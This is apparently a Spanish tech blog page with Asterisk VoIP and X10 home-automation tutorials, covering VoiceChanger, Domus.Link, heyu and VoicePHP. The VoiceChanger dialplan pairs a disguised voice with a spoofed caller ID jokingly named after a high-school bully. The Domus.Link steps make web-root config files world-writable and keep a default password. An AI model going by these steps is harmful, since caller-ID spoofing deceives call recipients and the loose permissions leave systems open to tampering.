    Algo como esto lo ví en una película hace un par de años, dónde un sistema de la NSA de USA, monitoreaba llamadas en teléfonos celulares o fijos de diversas partes del mundo, de tal forma que si encontraban una palabra sospechosa en automático enviaba la llamada en modo espía a un agente del callcenter de la NSA, por ejemplo si escuchaban la palabra Bin Laden, Al Qaeda o algo por el estilo entonces la pasaban al centro de contactos principal de la NSA.
    Esta tecnología en la actualidad ya no es un recurso que valga millones de dólares tales como los que invirtió la Agencia de Seguridad Nacional de EU, pero si tiene un costo que es asequible para empresas que deseen almacenar en una base de datos el texto de las grabaciones de las conversaciones de los agentes de un call center para luego poder hacer una búsqueda por palabras en una base de datos y de ahí reproducir la conversación, al igual que poder mandar una alerta cuándo se encuentre una palabra en alguna de las conversaciones recibidas.
    Esto no es complicado de implementarse aunque claro tiene su chiste, pero nada del otro mundo, esto debido a la tecnología de Asterisk y la cantidad de aplicaciones que hay alrededor de este gran proyecto, lo importante aquí es tener un sistema de reconocimiento de voz bastante eficiente, tal como puede ser LumenVox para luego solo "parsear" la información que se este leyendo en la conversación.
  • Cambia tú voz cuándo hables por teléfono con VoiceChanger y Asterisk.

    Hace unos días leyendo el blog de sinologic encontré información sobre VoiceChanger que es una aplicación de asterisk que sirve más bien como prueba más que para una aplicación real y su objetivo es cambiar el pitch de la voz, de tal forma que puedes tener una voz más aguda y seductora o más grave hasta estridente.
    Ya hace tiempo había pensado en una aplicación como está de tal forma que pudieras simular la voz de mujer o viceversa, así como simular voz de niño, adulto o adulto mayor, como dicen por ahí todo es posible en asterisk y pocas cosas no se pueden hacer en Asterisk y esta no es una de ellas.
    El cambio de voz no creo que pueda usarse para mantener la privacía ya que al solo cambiarse el pitch solo bastaría de invertirlo para obtener la voz original, pero es interesante probar la aplicación.
    Sin más bla bla bla, pongo aquí el tutorial para poder instalar este addon para Asterisk y poder probar la simpática aplicación.
    #obtenemos los archivos a instalar
    cd ~/asterisk
    wget http://www.lobstertech.com/code/libsoundtouch4c/releases/soundtouch-1.3.1-jart.tar.gz
    wget http://www.lobstertech.com/code/libsoundtouch4c/releases/libsoundtouch4c-0.4.tar.gz
    wget http://www.lobstertech.com/code/voicechanger/releases/voicechanger-0.7.tar.gz
    #Instalamos SounTouch 1.3.1-jart
    #También se puede instalar a traves del administrador de paquetes
    cd /usr/src
    sudo tar xvzf ~/asterisk/soundtouch-1.3.1-jart.tar.gz
    cd soundtouch-1.3.1-jart/
    sudo ./configure --enable-integer-samples --prefix=/usr
    sudo make
    sudo make install
    # instalamos libsoundtouch4c
    cd /usr/src
    sudo tar -xzvf ~/asterisk/libsoundtouch4c-0.4.tar.gz
    cd libsoundtouch4c-0.4
    sudo ./configure --prefix=/usr
    sudo make
    sudo make install
    #Instalamos VoiceChanger
    cd /usr/src
    sudo tar -xzvf ~/asterisk/voicechanger-0.7.tar.gz
    cd voicechanger-0.7
    sudo make
    sudo make install
    #Cargamos la aplicación dentro de Asterisk
    sudo make start
    #Entramos a la consola de Asterisk para ver si la aplicación fué cargada
    sudo asterisk -rvvv
    show application VoiceChanger
    #Creamos una extensión de prueba rápidamente que nos permitirá marcar a una extensión y probar la voz cambiada.
    sudo editor /etc/asterisk/extensions_custom.conf
    include => voicechanger
    [voicechanger]
    exten => 665,1,Set(CALLERID(all)=${BULLY_FROM_HIGHSCHOOL})
    exten => 665,2,VoiceChanger(-5.0)
    exten => 665,3,Dial(SIP/102/102|30|g)
    exten => 665,4,StopVoiceChanger() ; not required
    exten => 665,5,hangup
     
    Listo! face-smile.png
    ¿ Qué opina de VoiceChanger ?
  • Instalación de Domus.Link en Linux para controlar dispositivos X10 desde una página web.

    Domus.Link es un software que permite controlar dispositivos X10 desde una página web.
    Antes de seguir la siguiente bitácora se requiere tener instalado heyu y para ello se puede acceder al siguiente post AQUI.
    mkdir -p ~/software/opensource
    cd ~/software/opensource
    wget http://domus.link.co.pt/src/domuslink-1.0.1.tar.gz
    cd /var/www
    sudo tar -xzvf ~/software/opensource/domuslink-1.0.1.tar.gz
    cd domus.Link
    #verificar que heyu no esté corriendo,
    ps aux | grep heyu
    heyu stop
    #respaldamos la configuración actual de heyu
    sudo cp /etc/heyu/x10.conf /etc/heyu/x10.conf.backup
    sudo cp /etc/heyu/x10.sched /etc/heyu/x10.sched.backup
    #copiamos la configuración de domus.link en heyu
    sudo cp /var/www/domus.Link/doc/x10.conf /etc/heyu/x10.conf
    sudo cp /var/www/domus.Link/doc/x10.sched /etc/heyu/x10.sched
    #editamos la nueva configuración de heyu y configuramos el puerto serial usado
    sudo editor /etc/heyu/x10.conf
    #en mi caso como uso un adaptador de serial a usb TTY /dev/ttyUSB0, por defecto es /dev/ttyS0
    #Cambiamos los permisos del archivo de configuración para que puedan ser accedidos por el usuario del servidor web
    sudo chown www-data.www-data /etc/heyu/x10.conf
    sudo chown -R www-data.www-data /var/www/domus.Link
    sudo chmod o+rw /etc/heyu/x10.conf /var/www/domus.Link/db/floorplan /var/www/domus.Link/config.php
    #cambiamos permisos al puerto serial para que pueda ser accedido por el servidor web
     sudo chmod o+rw /dev/ttyUSB0
     
     #creamos un enlace dinámico a heyu para que pueda ser encontrado por domus.Link, para ver donde esta instalado heyu teclear
     whereis heyu
     
     #despues de encontrado heyu creamos el enlace
      sudo ln -s /usr/local/bin/heyu /usr/bin/heyu
     
      #ahora ya teniendo prácticamente todo configurado, entramos a la página web de dónde se instalo la aplicación de domus.Link
     
      http://localhost/domus.Link
     
    Domus.Link Demo
     
      #password por default
      1234
     
      #iniciamos el servicio, si hay un error verificar los pasos anteriores.
      #Ya que haya iniciado el servicio entraremos al ícono de configurció ubicado en la parte derecha.
      #ahí podremos crear habitaciones para poder asignar los dispositivos.
      #los alias es una forma fácil de poder identificar el ID del dispositivo
      #para crear un alias relacionaríamos el ID del dispositivo X10 con un nombre,
      #también seleccionaremos que tipo de módulo es, si es un socket puede ser LM14A o LM15A, si es un appliance stdAM.
      #necesitaríamos indicar si es un dispositivo de luz, appliance o de irrigación.
      # y por último elegimos dónde está el dispostivo en una sala, cocina, cochera, etc., dependiendo de los espacios configurados.
      # Despues de que ya se tenga configurado el esquema ahora si desde la página web ya se pueden manipular los dispositivos X10.
     
  • VoicePHP la promesa de aplicaciones con reconocimiento y sintesis de voz

    Llevo unas semanas trabajando sobre reconocimiento de voz en linux, el detalle es que actualmente no existen alternativas Open Source serias para el reconocimiento de voz, tenemos sphinx pero le falta mucho para llegar a ser una opción para desarrollos de aplicaciones de voz.
    Existen un par de opciones propietarias por ahí bastante buenas las cuales tienen integración hasta con Asterisk para desarrollo de aplicaciones de telefonía IP con reconocimiento de voz, incluso soportan español mexicano y tienen una alta calidad en el reconocimiento de voz, pero como todo lo bueno cuesta, no son nada baratas estas opciones, pero bien valen la pena pagar esos pavos y a una empresa a corto plazo es redituable implementar este tipo de soluciones.
    Hace unos días adquirí unas licencias de pruebas de 2 opciones propietarias de reconocimiento de voz y realmente me sorprendió la calidad del reconocimiento de voz, lo interesante es que no solo puedes usarlo para aplicaciones de telefonía IP si no lo puedes integrar con diversas tecnologías, por ejemplo hace apenas unos días me llegó de EU unos equipos con tecnología x10 los cuáles te permiten integrar tecnologías de domótica a bajo costo, de tal forma que integrando estas tecnologías de voz con x10, mediante voz puedes prender luces de tu casa, activar y desactivar alarmas, prender dispositivos electrónicos, sistemas de irrigación, abrir puertas, cerrar cortinas, etc..
    Todo esto sería excelente si pudiera ser completamente Open Source, que casi lo es a excepción del reconocimiento de voz, pero al parecer ya hay una luz al final del tunel, pues está ya en desarrollo y de hecho ya hay un beta de VoicePHP, que promete ser un sintetizador de voz al igual que soportará reconocimiento de voz, permitiendo usar PHP como plataforma de desarrollo.
    Los creadores de VoicePHP aun no saben si lo liberarán como OpenSource, pero hay esperanzas, aún no he probado ese beta pero ya les mandé un correo para que me lo envíen y ver que pinta tiene y ver como sacarle jugo a la tecnología de VoicePHP.
    Si les interesa dense una vuelta a su página para saber más de VoicePHP
    http://www.voicephp.com
    ¿ Y tú ya has hecho algún desarrollo sobre reconocimiento de voz o algo por el estilo ?
  • Instalar Heyu para control de dispositivos X10 y empezar a armar nuestra casa inteligente

    Pongo rápidamente un tutorial paso a paso de como instalar y usar heyu, para poder controlar dispositivos X10 desde una interfaz de comando, para despues de ahí realizar cualquier aplicación con reconocimiento de voz, interfaz web, agi con Asterisk VoIP, etc.,
    mkdir -p ~/software/opensource
    cd ~/software/opensource
    wget http://heyu.tanj.com/download/heyu-2.6.0.tgz
    cd /usr/src
    sudo tar -xzvf ~/software/opensource/heyu-2.6.0.tgz
    cd heyu*
    sudo sh ./Configure  && sudo make && sudo make install
    #Where would you like the sample Heyu configuration file installed?
    #Seleccionar la opción  3. In directory /etc/heyu  (for system-wide access)
    #To which port is the CM11 attached?
    #Si es un puerto serial seguro podría ser /dev/ttyS0, si es un convertidor de serial a usb sería /dev/ttyUSB0,
    es necesario tener conectado el adaptador X10 CM11A al puerto Serial y también a la corriente eléctrica
     
    Adaptador x10
    #Para empezar a probar, Asignarle un ID único al AM466, este equipo tiene 2 dialers desde donde se configura si es A1, B2, C3, etc.,  
    #Si se le asigna la misma clave al dispositivo X10 este se apagará y prenderá junto con el otro también configurado con la misma clave.
    #Conectar el dispositivo electrónico al AM466 configurado.
    #Suponiendo que se le asignó A1 al dispositivo X10 AM466, al ejecutar el comando anterior mandará a enceder el dispositivo.
    heyu on A1
    #Para apagarlo
    heyu off A1
    #Para encender los dispositivos que estén en la clave A intoducir el siguiente comando
    heyu allon A
    #Para apagar todos al mismo tiempo
    heyu alloff A
    #******
    #       Luces
    #******
    #Conectar el foco en el socket X10 y de ahí conectar el socket, OJO este socket no se debe conectar a lámparas fluorescentes o de halógeno solo focos normales .
    #Dejar en encendido el apagador
    #Inicialmente no prenderá el foco, puesto que hay que asignarle una clave al socket instalado, para esto se tiene que ejecutar en los primeros 30 segundos el siguiente comando:
    heyu address C1
    #Lo que hacemos con este comando es asignarle el ID C1 al Socket instalado.
    #Si pasan más de 30 segundos instalados y no se ejecutó el comando, apagar el apagador y volver a prenderlo para poder mandar el comando anterior.
    #Para mandar a prender el foco ejecutar el siguiente comando
    heyu on C1
    #Para apagarlo
    heyu off C1
    #Para prender todos los focos en C
    heyu lightson C
    #Para apagar todos
    heyu lightsoff C
    #Existe un modelo de socket X10 en el cuál se le puede mandar que disminuye o aumente laintensidad de la señal
    #Para saber más comandos de heyu introducir:
     heyu help
    #Hay dispositivos x10 como sensores de movimiento, alarmas, detectores de humo e incendio, controles de temperatura, etc., los cuáles pueden monitorearse y de acuerdo al evento mandar a enceder dispositivos, apagarlos, etc.,
     
    #Más accesorios aquí:
    http://www.digitalconcerve.com/wizard/security/x10_home_automation_accessories.htm
    #Para instalar una aplicación web para controlar dispositivos X10 ver AQUI

Estadísticas de visitantes

174767

Emblemas

Energizado por Jaws Project
Soporta RSS2
Energizado por Software Libre
Energizado por Mozila Firefox
Energizado por Ubuntu Linux
Energizado por PHP
Energizado por Apache Web Server
Energizado por MySQL
Energizado por SQLite
atom

¿ Where The Hell Am I ?

Mi Flickr







Aquí Mis Mejores Fotos

Eventos

Encuesta

¿Que medio de comunicación usas más ?

Comentarios Recientes